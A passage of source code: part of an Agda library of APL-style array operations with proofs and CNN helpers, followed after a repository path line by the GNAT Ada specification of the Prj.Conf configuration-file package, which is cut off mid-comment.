primFloatDiv lift-unary : ∀ {X A d s}{{t : SVup X A d s}} → (X → X) → A → Ar X d s lift-unary ⦃ t = scal ⦄ f a = cst $ f a lift-unary ⦃ t = vect ⦄ f a = imap λ iv → f $ V.lookup a $ ix-lookup iv zero lift-unary ⦃ t = arry ⦄ f (imap a) = imap λ iv → f $ a iv infixr 20 -ᵣ_ ÷ᵣ_ *ᵣ_ -ᵣ_ ÷ᵣ_ *ᵣ_ : ∀ {A d s}{{t : SVup Float A d s}} → A → Ar Float d s *ᵣ_ = lift-unary primFloatExp -ᵣ_ = lift-unary primFloatNegate ÷ᵣ_ = lift-unary (primFloatDiv 1.0) module reduce-custom where drop-last : ∀ {m}{X : Set} → Vec X m → Vec X (m N.∸ 1) drop-last {0} x = x drop-last {1} x = [] drop-last {suc (suc m)} (x ∷ xs) = x ∷ drop-last xs gz : ℕ → ℕ gz 0 = 0 gz _ = 1 take-last : ∀ {m}{X : Set} → Vec X m → Vec X (gz m) take-last {0} x = x take-last {1} x = x take-last {suc (suc m)} (x ∷ xs) = take-last xs _tldl++_ : ∀ {d s} → Ix (d N.∸ 1) (drop-last s) → Ix (gz d) (take-last s) → Ix d s _tldl++_ {0} {s} iv jv = iv _tldl++_ {1} {s} iv jv = jv _tldl++_ {suc (suc d)} {s ∷ ss} (i ∷ iv) jv = i ∷ (iv tldl++ jv) reduce-1d : ∀ {X Y : Set}{s} → (X → Y → Y) → Y → Ar X 1 s → Y reduce-1d {s = 0 ∷ []} _⊕_ ε a = ε reduce-1d {s = suc x ∷ []} _⊕_ ε (imap a) = a (zero ∷ []) ⊕ reduce-1d {s = x ∷ []} _⊕_ ε (imap λ where (i ∷ []) → a (suc i ∷ [])) infixr 20 _/′_ _/′_ : ∀ {X Y : Set}{d s} → (X → Y → Y) → Ar X d s → {ε : Y} → Ar Y _ (drop-last s) _/′_ {d = 0} f (imap a) {ε} = imap λ iv → ε _/′_ {d = suc d} f (imap a) {ε} = imap λ iv → reduce-1d f ε (imap λ jv → a (iv tldl++ jv)) data reduce-neut : {X Y : Set} → (X → Y → Y) → Y → Set where instance plus-nat : reduce-neut N._+_ 0 mult-nat : reduce-neut N._*_ 1 plus-flo : reduce-neut primFloatPlus 0.0 gplus-float : reduce-neut (_+ᵣ_ {{t = a-a {sx = []}{sy = []}{args = n-n} }}) (cst 0.0) infixr 20 _/_ _/_ : ∀ {X Y : Set}{n s ε} → (_⊕_ : X → Y → Y) → {{c : reduce-neut _⊕_ ε}} → Ar X n s → Ar Y _ (drop-last s) _/_ {ε = ε} f a = (f /′ a){ε} infixr 20 _//_ _//_ : ∀ {X Y : Set}{n s ε} → (_⊕_ : Scal X → Scal Y → Scal Y) → {{c : reduce-neut _⊕_ ε}} → Ar X n s → Ar Y _ (drop-last s) _//_ {ε = ε} f a = imap λ jv → ▾ (sel ((f /′ (imap λ iv → ▴ (sel a iv))){ε}) jv) infixr 20 _/ᵣ_ _/ᵣ_ : ∀ {X : Set}{d}{s}{m} → (n : ℕ) → Ar X (d N.+ 1) (s V.++ (m ∷ [])) → Ar X (d N.+ 1) (s V.++ (n N.* m ∷ [])) _/ᵣ_ {d = d} {s = s} 0 a = imap λ iv → magic-fin (ix-lookup (take-ix-r s _ iv) zero) _/ᵣ_ {d = d} {s = s} (suc n) a = imap λ iv → let i = ix-lookup (take-ix-r s _ iv) zero l = take-ix-l s _ iv i/n = F.fromℕ< $ /-mono-f {b = suc n} (F.toℕ<n i) _ in sel a $ l ix++ (i/n ∷ []) infixr 20 _⌿ᵣ_ _⌿ᵣ_ : ∀ {X : Set}{d s m} → (n : ℕ) → Ar X (1 N.+ d) ((m ∷ []) V.++ s) → Ar X (1 N.+ d) ((n N.* m ∷ []) V.++ s) _⌿ᵣ_ {d = d} {s = s} 0 a = imap λ iv → magic-fin (ix-lookup iv zero) _⌿ᵣ_ {d = d} {s = s} (suc n) a = imap λ iv → let i = ix-lookup iv zero r = take-ix-r _ s iv i/n = F.fromℕ< $ /-mono-f {b = suc n} (F.toℕ<n i) _ in sel a $ (i/n ∷ []) ix++ r open reduce-custom public -- shape and flatten infixr 20 ρ_ ρ_ : ∀ {ℓ}{X : Set ℓ}{d s} → Ar X d s → Ar ℕ 1 (d ∷ []) ρ_ {s = s} _ = s→a s infixr 20 ,_ ,_ : ∀ {a}{X : Set a}{n s} → Ar X n s → Ar X 1 (prod s ∷ []) ,_ {s = s} p = imap λ iv → sel p (off→idx s iv) -- Note that two dots in an upper register combined with -- the underscore form the _̈ symbol. When the symbol is -- used on its own, it looks like ̈ which is the correct -- "spelling". infixr 20 _̈_ _̈_ : ∀ {a}{X Y : Set a}{n s} → (X → Y) → Ar X n s → Ar Y n s f ̈ imap p = imap $ f ∘ p module _ where data iota-type : (d : ℕ) → (n : ℕ) → (Vec ℕ d) → Set where instance iota-scal : iota-type 0 1 [] iota-vec : ∀ {n} → iota-type 1 n (n ∷ []) iota-res-t : ∀ {d n s} → iota-type d n s → (sh : Ar ℕ d s) → Set iota-res-t {n = n} iota-scal sh = Ar (Σ ℕ λ x → x N.< ▾ sh) 1 (▾ sh ∷ []) iota-res-t {n = n} iota-vec sh = Ar (Σ (Ar ℕ 1 (n ∷ [])) λ v → v <a sh) n (a→s sh) data iota-t : Set → (n : ℕ) → Set where instance iota-scal : iota-t ℕ 0 iota-vect : ∀ {n} → iota-t (Vec ℕ n) n iota-arrs : iota-t (Ar ℕ 0 []) 1 iota-arrv : ∀ {n} → iota-t (Ar ℕ 1 (n ∷ [])) n iota-ty : ∀ {X n} → iota-t X n → X → Set iota-ty {n = n} iota-scal x = Ar (Ix 1 (x ∷ [])) 1 (x ∷ []) iota-ty {n = n} iota-vect x = Ar (Ix n x) n x iota-ty {n = n} iota-arrs x = Ar (Ix n (▾ x ∷ [])) n (▾ x ∷ []) iota-ty {n = n} iota-arrv x = Ar (Ix n (▾ x)) n (▾ x) iota_ : ∀ {X n}{{t : iota-t X n}} → (x : X) → iota-ty t x iota_ ⦃ t = iota-scal ⦄ x = imap id iota_ ⦃ t = iota-vect ⦄ x = imap id iota_ ⦃ t = iota-arrs ⦄ x = imap id iota_ ⦃ t = iota-arrv ⦄ x = imap id {- iota-t : ∀ {A d s} → SVup ℕ A d s → Ar ℕ d s → Set iota-t {d = d}{s} scal a = Ar (Ix 1 (▾ a ∷ [])) 1 (▾ a ∷ []) iota-t {d = d}{n ∷ []} vect a = Ar (Ix n (▾ a)) n (▾ a) iota-t {d = d}{n ∷ []} arry a = Ar (Ix n (▾ a)) n (▾ a) iota_ : ∀ {A d s}{{t : SVup ℕ A d s}} → (a : Ar ℕ d s) → iota-t t a iota_ {d = d}{s}⦃ t = scal ⦄ a = imap id iota_ {d = d}{s}⦃ t = vect ⦄ a = imap id iota_ {d = d}{s}⦃ t = arry ⦄ a = {!!} --imap id -} a<b⇒b≡c⇒a<c : ∀ {a b c} → a N.< b → b ≡ c → a N.< c a<b⇒b≡c⇒a<c a<b refl = a<b infixr 20 ι_ ι_ : ∀ {d n s}{{c : iota-type d n s}} → (sh : Ar ℕ d s) → iota-res-t c sh ι_ ⦃ c = iota-scal ⦄ s = (imap λ iv → (F.toℕ $ ix-lookup iv zero) , F.toℕ<n (ix-lookup iv zero)) ι_ {n = n} {s = s ∷ []} ⦃ c = iota-vec ⦄ (imap sh) = imap cast-ix→a where cast-ix→a : _ cast-ix→a iv = let ix , pf = ix→a iv in ix , λ jv → a<b⇒b≡c⇒a<c (pf jv) (s→a∘a→s (imap sh) jv) module cnn where open reduce-custom -- blog←{⍺×⍵×1-⍵} -- NOTE: We use + instead of - in the last example, as we are not in ℝ, and N.∸ needs a proof. blog : ∀ {n s} → Ar ℕ n s → Ar ℕ n s → Ar ℕ n s blog α ω = α × ω × 1 + ω conv : ∀ {n wₛ aₛ} → Ar ℕ n wₛ → Ar ℕ n aₛ → {≥ : ▴ aₛ ≥a ▴ wₛ} → Ar ℕ n $ ▾ (1 + (aₛ - wₛ){≥}) conv _ _ = cst 1 -- backbias←{+/,⍵} backbias : ∀ {n s} → Ar ℕ n s → Ar ℕ _ [] backbias ω = N._+_ / , ω -- meansqerr←{÷∘2+/,(⍺-⍵)*2} meansqerr : ∀ {n s} → Ar ℕ n s → Ar ℕ n s → Ar ℕ _ [] meansqerr α ω = _+ 2 $ N._+_ / , (α + ω) × (α + ω) -- backavgpool←{2⌿2/⍵÷4}⍤2 backavgpool : ∀ {s} → Ar ℕ 2 s → Ar ℕ 2 $ ▾ (2 × s) backavgpool {s = _ ∷ _ ∷ []} ω = 2 /ᵣ′ 2 ⌿ᵣ ω × 4 where infixr 20 _/ᵣ′_ _/ᵣ′_ = _/ᵣ_ {s = _ ∷ []} -- Something that could go in Stdlib. ≡⇒≤ : ∀ {a b} → a ≡ b → a N.≤ b ≡⇒≤ refl = ≤-refl -- This should be perfectly generaliseable --- instead of 2 -- we can use any m>0 a<b⇒k<2⇒a*2+k<b*2 : ∀ {a b k} → a N.< b → k N.< 2 → a N.* 2 N.+ k N.< b N.* 2 a<b⇒k<2⇒a*2+k<b*2 {a} {b} {zero} a<b k<2 rewrite (+-identityʳ (a N.* 2)) | (*-comm a 2) | (*-comm b 2) = *-monoʳ-< 1 a<b a<b⇒k<2⇒a*2+k<b*2 {a} {b} {suc zero} a<b k<2 = ≤-trans (N.s≤s (≡⇒≤ (+-comm _ 1))) (*-monoˡ-≤ 2 a<b) a<b⇒k<2⇒a*2+k<b*2 {a} {b} {suc (suc k)} a<b (N.s≤s (N.s≤s ())) A<B⇒K<2⇒A*2+K<B*2 : ∀ {n s}{a b k : Ar ℕ n s} → a <a b → k <a (cst 2) → ((a × 2) + k) <a (b × 2) A<B⇒K<2⇒A*2+K<B*2 {a = imap a} {imap b} {imap k} a<b k<2 = λ iv → a<b⇒k<2⇒a*2+k<b*2 (a<b iv) (k<2 iv) --- a<n⇒b<n⇒a+b<m+n : ∀ {m n} a b → a N.< m → b N.< n → a N.+ b N.< m N.+ n a<n⇒b<n⇒a+b<m+n {m} zero b a<m b<n = ≤-stepsˡ m b<n a<n⇒b<n⇒a+b<m+n {suc m} (suc a) b (N.s≤s a<m) b<n = N.s≤s (a<n⇒b<n⇒a+b<m+n a b a<m b<n) a<n⇒b<n⇒a+b<m+n-1 : ∀ {m n} a b → a N.< m → b N.< n → a N.+ b N.< m N.+ n N.∸ 1 a<n⇒b<n⇒a+b<m+n-1 {suc m} {suc n} zero b a<m b<n = ≤-stepsˡ m b<n a<n⇒b<n⇒a+b<m+n-1 {suc m} {suc n} (suc a) b (N.s≤s a<m) b<n rewrite +-suc m n = N.s≤s $ begin suc (a N.+ b) ≤⟨ a<n⇒b<n⇒a+b<m+n-1 a b a<m b<n ⟩ m N.+ suc n N.∸ 1 ≡⟨ cong₂ N._∸_ (+-suc m n) refl ⟩ suc (m N.+ n) N.∸ 1 ≡⟨⟩ m N.+ n ∎ where open N.≤-Reasoning _+ff_ : ∀ {m n} → Fin m → Fin n → Fin (m N.+ n N.∸ 1) a +ff b = F.fromℕ< (a<n⇒b<n⇒a+b<m+n-1 _ _ (F.toℕ<n a) (F.toℕ<n b)) _+f_ : ∀ {m n} → Fin m → Fin n → Fin (m N.+ n) a +f b = F.fromℕ< (a<n⇒b<n⇒a+b<m+n _ _ (F.toℕ<n a) (F.toℕ<n b)) _*lf_ : ∀ {n} → (m : ℕ) → Fin n → .{m N.> 0} → Fin (suc (m N.* n N.∸ m)) _*lf_ {n} m (b) {m>0} = let m*sb≤m*n = *-monoʳ-≤ m $ F.toℕ<n b m+m*b≤m*n = subst₂ N._≤_ (*-suc m _) refl m*sb≤m*n m+m*b-m≤m*n = ∸-monoˡ-≤ m m+m*b≤m*n m*b≤m*n-m = subst₂ N._≤_ (m+n∸m≡n m _) refl m+m*b-m≤m*n in F.fromℕ< (N.s≤s m*b≤m*n-m) --_i+_ : ∀ {n s s'} → Ix n s → Ix n s' → Ix n (▾ ((s + s') -′ ▴ 1)) --iv i+ jv = ix-tabulate λ i → subst Fin (sym (V.lookup∘tabulate _ i)) $ ix-lookup iv i +ff ix-lookup jv i -- Note that we explicitly use _-′_ instead of _-_ to avoid the proof. -- It is ok if m ≥ s×m as this means that s=0, and therefore there is no -- such index (element of Fin 0 at some position in s). --_il×_ : ∀ {n s} → (m : ℕ) → Ix n s → .{≥ : m N.> 0} → let s = 1 + (m × s) -′ ▴ m in Ix n (▾ s) --(a il× ix) {m>0} = ix-tabulate λ i → subst Fin (sym (V.lookup∘tabulate _ i)) $ (a *lf ix-lookup ix i){m>0} {- avgpool' : ∀ {s} → Ar Float 2 $ ▾ (2 × s) → Ar Float 2 s avgpool' {s} (imap p) = imap body where m>0⇒k≤k*m : ∀ {m} → m N.> 0 → ∀ k → k N.≤ k N.* m m>0⇒k≤k*m m>0 zero = N.z≤n m>0⇒k≤k*m m>0 (suc k) = +-mono-≤ m>0 (m>0⇒k≤k*m m>0 k) --a≤a*b thm : ∀ {d s} → Ix d s → ∀ i → d N.+ (d N.* V.lookup s i N.∸ d) ≡ d N.* V.lookup s i thm {d}{s} ix i with V.lookup s i | ix-lookup ix i ... | zero | () ... | suc m | _ = m+[n∸m]≡n (m>0⇒k≤k*m {m = suc m} (N.s≤s N.z≤n) d) thmx : ∀ {d s} → Ix d s → ∀ i → V.lookup (▾ (d + (d × s) -′ ▴ d)) i ≡ V.lookup (▾ (d × s)) i thmx {d}{s} ix i with V.lookup s i | inspect (V.lookup s) i | ix-lookup ix i ... | zero | _ | () ... | suc m | [ pf ] | _ = begin V.lookup (V.tabulate (λ z → d N.+ (d N.* V.lookup s z N.∸ d))) i ≡⟨ lookup∘tabulate _ i ⟩ d N.+ (d N.* V.lookup s i N.∸ d) ≡⟨ cong (d N.+_) (cong (N._∸ d) (cong (d N.*_) pf)) ⟩ d N.+ (d N.* suc m N.∸ d) ≡⟨ m+[n∸m]≡n (m>0⇒k≤k*m {m = suc m} (N.s≤s N.z≤n) d) ⟩ d N.* suc m ≡⟨ cong (d N.*_) (sym pf) ⟩ d N.* V.lookup s i ≡⟨ sym (lookup∘tabulate _ i) ⟩ V.lookup (V.tabulate (λ z → d N.* V.lookup s z)) i ∎ where open ≡-Reasoning body : _ → _ body iv = let ixs = iota (2 ∷ 2 ∷ []) ix = (2 il× iv) {N.s≤s N.z≤n} f iv = p $ subst-ix {!!} $ iv i+ ix xx = primFloatPlus / , f ̈ ixs in {!!} -} avgpool : ∀ {s} → Ar ℕ 2 $ ▾ (s × 2) → Ar ℕ 2 s avgpool {s} (imap p) = imap body where body : _ → _ body iv = let sh = s × 2 ix , ix<s = ix→a iv bx = ix × 2 ixs = ι (cst {s = 2 ∷ []} 2) use-ixs = λ where (i , pf) → p $ a→ix (bx + i) sh $ A<B⇒K<2⇒A*2+K<B*2 ix<s pf in ▾ (_× 4 $ N._+_ / , use-ixs ̈ ixs) --test : ∀ {s : Vec ℕ 2} → ℕ --test {s} = {! s × 2!} -- Take and Drop ax+sh<s : ∀ {n} → (ax sh s : Ar ℕ 1 (n ∷ [])) → (s≥sh : s ≥a sh) → (ax <a (s - sh) {≥ = s≥sh}) → (ax + sh) <a s ax+sh<s (imap ax) (imap sh) (imap s) s≥sh ax<s-sh iv = let ax+sh<s-sh+sh = +-monoˡ-< (sh iv) (ax<s-sh iv) s-sh+sh≡s = m∸n+n≡m (s≥sh iv) in a<b⇒b≡c⇒a<c ax+sh<s-sh+sh s-sh+sh≡s {- _↑_ : ∀ {a}{X : Set a}{n s} → (sh : Ar ℕ 1 (n ∷ [])) → (a : Ar X n s) → {pf : s→a s ≥a sh} → Ar X n $ a→s sh _↑_ {s = s} sh (imap f) {pf} with (prod $ a→s sh) N.≟ 0 _↑_ {s = s} sh (imap f) {pf} | yes Πsh≡0 = imap λ iv → magic-fin $ Πs≡0⇒Fin0 _ iv Πsh≡0 --mkempty _ Πsh≡0 _↑_ {s = s} (imap q) (imap f) {pf} | no Πsh≢0 = imap λ iv → {- mtake where mtake : _ mtake iv = -} let ai , ai< = ix→a iv ix<q jv = a<b⇒b≡c⇒a<c (ai< jv) (s→a∘a→s (imap q) jv) ix = a→ix ai (s→a s) λ jv → ≤-trans (ix<q jv) (pf jv) in f (subst-ix (a→s∘s→a s) ix) -} {- -} _↑_ : ∀ {a}{X : Set a}{n s} → (sh : Ar ℕ 1 (n ∷ [])) → (a : Ar X n s) → {pf : s→a s ≥a sh} → Ar X n $ a→s sh _↑_ {s = s} sh (imap f) {pf} = case (prod $ a→s sh) N.≟ 0 of λ where (yes Πsh≡0) → imap λ iv → magic-fin $ Πs≡0⇒Fin0 _ iv Πsh≡0 (no Πsh≢0) → imap λ iv → let ai , ai< = ix→a iv ix<q jv = a<b⇒b≡c⇒a<c (ai< jv) (s→a∘a→s sh jv) ix = a→ix ai (s→a s) λ jv → ≤-trans (ix<q jv) (pf jv) in f (subst-ix (a→s∘s→a s) ix) {- -} _↓_ : ∀ {a}{X : Set a}{n s} → (sh : Ar ℕ 1 (n ∷ [])) → (a : Ar X n s) → {pf : (s→a s) ≥a sh} → Ar X n $ a→s $ (s→a s - sh) {≥ = pf} _↓_ {s = s} sh (imap x) {pf} with let p = prod $ a→s $ (s→a s - sh) {≥ = pf} in p N.≟ 0 _↓_ {s = s} sh (imap f) {pf} | yes Π≡0 = mkempty _ Π≡0 _↓_ {s = s} (imap q) (imap f) {pf} | no Π≢0 = imap mkdrop where mkdrop : _ mkdrop iv = let ai , ai< = ix→a iv ax = ai + (imap q) thmx = ax+sh<s ai (imap q) (s→a s) pf λ jv → a<b⇒b≡c⇒a<c (ai< jv) (s→a∘a→s ((s→a s - (imap q)) {≥ = pf}) jv) ix = a→ix ax (s→a s) thmx in f (subst-ix (a→s∘s→a s) ix) ∸-monoˡ-< : ∀ {m n o} → m < n → o ≤ m → m ∸ o < n ∸ o ∸-monoˡ-< {o = zero} m<n o≤m = m<n ∸-monoˡ-< {suc m} {o = suc o} (s≤s m<n) (s≤s o≤m) = ∸-monoˡ-< m<n o≤m a+b-a≡a : ∀ {n} {s₁ : Vec ℕ n} {s : Ix 1 (n ∷ []) → ℕ} {jv : Ix 1 (n ∷ [])} → V.lookup (V.tabulate (λ i → s (i ∷ []) N.+ V.lookup s₁ i)) (ix-lookup jv zero) ∸ s jv ≡ V.lookup s₁ (ix-lookup jv zero) a+b-a≡a {zero} {[]} {s} {x ∷ []} = magic-fin x a+b-a≡a {suc n} {x ∷ s₁} {s} {zero ∷ []} = m+n∸m≡n (s (zero ∷ [])) x a+b-a≡a {suc n} {x ∷ s₁} {s} {suc j ∷ []} = a+b-a≡a {s₁ = s₁} {s = λ { (j ∷ []) → s (suc j ∷ [])}} {jv = j ∷ []} pre-pad : ∀ {a}{X : Set a}{n}{s₁ : Vec ℕ n} → (sh : Ar ℕ 1 (n ∷ [])) → X → (a : Ar X n s₁) → Ar X n (a→s $ sh + ρ a) pre-pad {s₁ = s₁} (imap s) e (imap f) = imap body where body : _ body iv = let ix , ix<s = ix→a iv in case ix ≥a? (imap s) of λ where (yes p) → let fx = (ix - (imap s)) {≥ = p} fv = a→ix fx (s→a s₁) λ jv → a<b⇒b≡c⇒a<c (∸-monoˡ-< (ix<s jv) (p jv)) (a+b-a≡a {s₁ = s₁} {s = s} {jv = jv}) in f (subst-ix (λ i → lookup∘tabulate _ i) fv) (no ¬p) → e b≤a⇒c<b⇒a-b+c<a : ∀ {a b c} → b ≤ a → c < b → a ∸ b N.+ c < a b≤a⇒c<b⇒a-b+c<a {suc a} {suc b} {zero} b≤a c<b rewrite +-identityʳ (a ∸ b) = s≤s (m∸n≤m a b) b≤a⇒c<b⇒a-b+c<a {suc a} {suc b} {suc c} (s≤s b≤a) (s≤s c<b) = let q = b≤a⇒c<b⇒a-b+c<a b≤a c<b in subst₂ _<_ (sym $ +-suc (a ∸ b) c) refl $ +-monoʳ-< 1 q [a+b≥c]⇒b<c⇒a+b-c<a : ∀ {a b c} → a N.+ b N.≥ c → b < c → a N.+ b ∸ c < a [a+b≥c]⇒b<c⇒a+b-c<a {a}{b}{c} a+b≥c b<c = let a+b<a+c = +-monoʳ-< a b<c in subst₂ _<_ refl (m+n∸n≡m _ c) $ ∸-monoˡ-< a+b<a+c a+b≥c {- _-↑⟨_⟩_ : ∀ {a}{X : Set a}{n}{s₁ : Vec ℕ n} → (sh : Ar ℕ 1 (n ∷ [])) → X → (a : Ar X n s₁) → Ar X n (▾ sh) _-↑⟨_⟩_ {s₁ = s₁} s e a = imap λ iv → let ix , ix<s = ix→a iv in case ((ρ a) + ix) ≥a? s of λ where (yes p) → let ov = (((ρ a) + ix) - s){p} oi = a→ix ov (ρ a) λ { jv@(i ∷ []) → [a+b≥c]⇒b<c⇒a+b-c<a (p jv) (subst₂ _<_ refl (V.lookup∘tabulate _ i) $ ix<s jv) } in sel a (subst-ix (λ i → lookup∘tabulate _ i) oi) (no _) → e -} _-↑⟨_⟩_ : ∀ {a}{X : Set a}{n}{s₁ : Vec ℕ n} → (sh : Ar ℕ 1 (n ∷ [])) → X → (a : Ar X n s₁) → Ar X n (▾ sh) _-↑⟨_⟩_ {s₁ = s₁} s e a = imap body where body : _ body iv with ix→a iv ... | ix , ix<s with ((ρ a) + ix) ≥a? s ... | (yes p) = let ov = (((ρ a) + ix) - s){p} oi = a→ix ov (ρ a) λ { jv@(i ∷ []) → [a+b≥c]⇒b<c⇒a+b-c<a (p jv) (subst₂ _<_ refl (V.lookup∘tabulate _ i) $ ix<s jv) } in sel a (subst-ix (λ i → lookup∘tabulate _ i) oi) ... | _ = e {- _↑⟨_⟩_ : ∀ {a}{X : Set a}{n}{s : Vec ℕ n} → (sh : Ar ℕ 1 (n ∷ [])) → X → (a : Ar X n s) → Ar X n (▾ sh) _↑⟨_⟩_ {s = s} (imap sh) e (imap a) = imap body where body : _ body iv = let ix , ix<s = ix→a iv in case ix <a? (ρ imap a) of λ where (yes p) → let av = a→ix ix (ρ imap a) p in a (subst-ix (λ i → lookup∘tabulate _ i) av) (no ¬p) → e -} _↑⟨_⟩_ : ∀ {a}{X : Set a}{n}{s : Vec ℕ n} → (sh : Ar ℕ 1 (n ∷ [])) → X → (a : Ar X n s) → Ar X n (▾ sh) _↑⟨_⟩_ {s = s} (imap sh) e (imap a) = imap body where body : _ body iv with ix→a iv ... | ix , ix<s with ix <a? (ρ imap a) ... | (yes p) = let av = a→ix ix (ρ imap a) p in a (subst-ix (λ i → lookup∘tabulate _ i) av) ... | (no ¬p) = e _̈⟨_⟩_ : ∀ {a}{X Y Z : Set a}{n s} → Ar X n s → (X → Y → Z) → Ar Y n s → Ar Z n s --(imap p) ̈⟨ f ⟩ (imap p₁) = imap λ iv → f (p iv) (p₁ iv) p ̈⟨ f ⟩ p₁ = imap λ iv → f (sel p iv) (sel p₁ iv) module test where s : Vec ℕ 3 s = 1 ∷ 2 ∷ 3 ∷ [] a : Ar ℕ 3 s a = cst 10 b : Ar ℕ 0 [] b = cst 20 test/ : _ test/ = reduce-custom._/_ N._+_ a -- These tests work, which is nice. test₁ : Ar ℕ 3 s test₁ = a + b test₂ : Ar ℕ 3 s test₂ = b + a test₃ : Ar ℕ 3 s test₃ = a + a test₄ : Ar ℕ 0 [] test₄ = b + b -- This looks much better. test-nn : ∀ {n s} → (a b : Ar ℕ n s) → Ar ℕ n s test-nn {n}{s} x y = x + y test-n0 : ∀ {n s} → Ar ℕ n s → Ar ℕ n s test-n0 x = x + b test-0n : ∀ {n s} → Ar ℕ n s → Ar ℕ n s test-0n x = b + x -- This definition should fail, as sx ≠ sy (not necessarily) --test-fail : ∀ {n sx sy} → Ar ℕ n sx → Ar ℕ n sy → Ar ℕ n sy --test-fail x y = x + y
src/gnat/prj-conf.ads
Letractively/ada-gen
0
19532
------------------------------------------------------------------------------ -- -- -- GNAT COMPILER COMPONENTS -- -- -- -- P R J . C O N F -- -- -- -- S p e c -- -- -- -- Copyright (C) 2006-2009, Free Software Foundation, Inc. -- -- -- -- GNAT is free software; you can redistribute it and/or modify it under -- -- terms of the GNU General Public License as published by the Free Soft- -- -- ware Foundation; either version 3, or (at your option) any later ver- -- -- sion. GNAT is distributed in the hope that it will be useful, but WITH- -- -- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY -- -- or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License -- -- for more details. You should have received a copy of the GNU General -- -- Public License distributed with GNAT; see file COPYING3. If not, go to -- -- http://www.gnu.org/licenses for a complete copy of the license. -- -- -- -- GNAT was originally developed by the GNAT team at New York University. -- -- Extensive contributions were provided by Ada Core Technologies Inc. -- -- -- ------------------------------------------------------------------------------ -- The following package manipulates the configuration files with Prj.Tree; package Prj.Conf is type Config_File_Hook is access procedure (Config_File : in out Prj.Tree.Project_Node_Id; Project_Node_Tree : Prj.Tree.Project_Node_Tree_Ref); -- Hook called after the config file has been parsed. This lets the -- application do last minute changes to it (GPS uses this to add the -- default naming schemes for instance). At that point, the config file -- has not been applied to the project yet. When no config file was found, -- and automatic generation is disabled, it is possible that Config_File -- is set to Empty_Node when this procedure is called. You can then decide -- to create a new config file if you need. procedure Parse_Project_And_Apply_Config (Main_Project : out Prj.Project_Id; User_Project_Node : out Prj.Tree.Project_Node_Id; Config_File_Name : String := ""; Autoconf_Specified : Boolean; Project_File_Name : String; Project_Tree : Prj.Project_Tree_Ref; Project_Node_Tree : Prj.Tree.Project_Node_Tree_Ref; Packages_To_Check : String_List_Access; Allow_Automatic_Generation : Boolean := True; Automatically_Generated : out Boolean; Config_File_Path : out String_Access; Target_Name : String := ""; Normalized_Hostname : String; Flags : Processing_Flags; On_Load_Config : Config_File_Hook := null); -- Find the main configuration project and parse the project tree rooted at -- this configuration project. -- -- Project_Node_Tree must have been initialized first (and possibly the -- value for external references and project path should also have been -- set). -- -- If the processing fails, Main_Project is set to No_Project. If the error -- happened while parsing the project itself (i.e. creating the tree), -- User_Project_Node is also set to Empty_Node. -- -- Autoconf_Specified indicates whether the user has specified --autoconf. -- If this is the case, the config file might be (re)generated, as -- appropriate, to match languages and target if the one specified doesn't -- already match. -- -- Normalized_Hostname is the host on which gprbuild is returned, -- normalized so that we can more easily compare it with what is stored in -- configuration files. It is used when the target is unspecified, although -- we need to know the target specified by the user (Target_Name) when -- computing the name of the default config file that should be used. -- -- If specified, On_Load_Config is called just after the config file has -- been created/loaded. You can then modify it before it is later applied -- to the project itself. -- -- Any error in generating or parsing the config file is reported via the -- Invalid_Config exception, with an appropriate message. Any error while -- parsing the project file results in No_Project. procedure Process_Project_And_Apply_Config (Main_Project : out Prj.Project_Id; User_Project_Node : Prj.Tree.Project_Node_Id; Config_File_Name : String := ""; Autoconf_Specified : Boolean; Project_Tree : Prj.Project_Tree_Ref; Project_Node_Tree : Prj.Tree.Project_Node_Tree_Ref; Packages_To_Check : String_List_Access; Allow_Automatic_Generation : Boolean := True; Automatically_Generated : out Boolean; Config_File_Path : out String_Access; Target_Name : String := ""; Normalized_Hostname : String; Flags : Processing_Flags; On_Load_Config : Config_File_Hook := null; Reset_Tree : Boolean := True); -- Same as above, except the project must already have been parsed through -- Prj.Part.Parse, and only the processing of the project and the -- configuration is done at this level. -- -- If Reset_Tree is true, all projects are first removed from the tree. -- When_No_Sources indicates what should be done when no sources are found -- for one of the languages of the project. -- -- If Require_Sources_Other_Lang is true, then all languages must have at -- least one source file, or an error is reported via When_No_Sources. If -- it is false, this is only required for Ada (and only if it is a language -- of the project). Invalid_Config : exception; procedure Get_Or_Create_Configuration_File (Project : Prj.Project_Id; Project_Tree : Prj.Project_Tree_Ref; Project_Node_Tree : Prj.Tree.Project_Node_Tree_Ref; Allow_Automatic_Generation : Boolean; Config_File_Name : String := ""; Autoconf_Specified : Boolean; Target_Name : String := ""; Normalized_Hostname : String; Packages_To_Check : String_List_Access := null; Config : out Prj.Project_Id; Config_File_Path : out String_Access; Automatically_Generated : out Boolean; Flags : Processing_Flags; On_Load_Config : Config_File_Hook := null); -- Compute the name of the configuration file that should be used. If no -- default configuration file is found, a new one will be automatically -- generated if Allow_Automatic_Generation is true. -- -- Any error in generating or parsing the config file is reported via the -- Invalid_Config exception, with an appropriate message. -- -- On exit, Configuration_Project_Path is never null (if none could be -- found, Os.Fail was called and the program exited anyway). -- -- The choice and generation of a configuration file depends on several -- attributes of the user's project file (given by the Project argument), -- e.g. list of languages that must be supported. Project must therefore -- have been partially processed (phase one of the processing only). -- -- Config_File_Name should be set to the name of the config file specified -- by the user (either through gprbuild's --config or --autoconf switches). -- In the latter case, Autoconf_Specified should be set to true to indicate -- that the configuration file can be regenerated to match target and -- languages. This name can either be an absolute path, or the base name -- that will be searched in the default config file directories (which -- depends on the installation path for the tools). -- -- Target_Name is used to chose the configuration file that will be used -- from among several possibilities. -- -- If a project file could be found, it is automatically parsed and -- processed (and Packages_To_Check is used to indicate which packages -- should be processed) procedure Apply_Config_File (Config_File : Prj.Project_Id; Project_Tree : Prj.Project_Tree_Ref); -- Apply the configuration file settings to all the projects in the -- project tree. The Project_Tree must have been parsed first, and -- processed through the first phase so that all its projects are known. -- -- Currently, this will add new attributes and packages in the various -- projects, so that when the second phase of the processing is performed -- these attributes are automatically taken into account. procedure Add_Default_GNAT_Naming_Scheme (Config_File : in out Prj.Tree.Project_Node_Id; Project_Tree : Prj.Tree.Project_Node_Tree_Ref); -- A hook that will create a new config file (in memory), used for -- Get_Or_Create_Configuration_File and Process_Project_And_Apply_Config -- and add the default GNAT naming scheme to it. Nothing is done if the -- config_file already exists, to avoid overriding what the user might -- have put in there. -------------- -- Runtimes -- -------------- procedure Set_Runtime_For (Language : Name_Id; RTS_Name : String); -- Specifies the runtime to use for a specific language. Most of the time -- this should be used for Ada, but other languages can also specify their -- own runtime. This is in general specified via the --RTS command line -- switch, and results 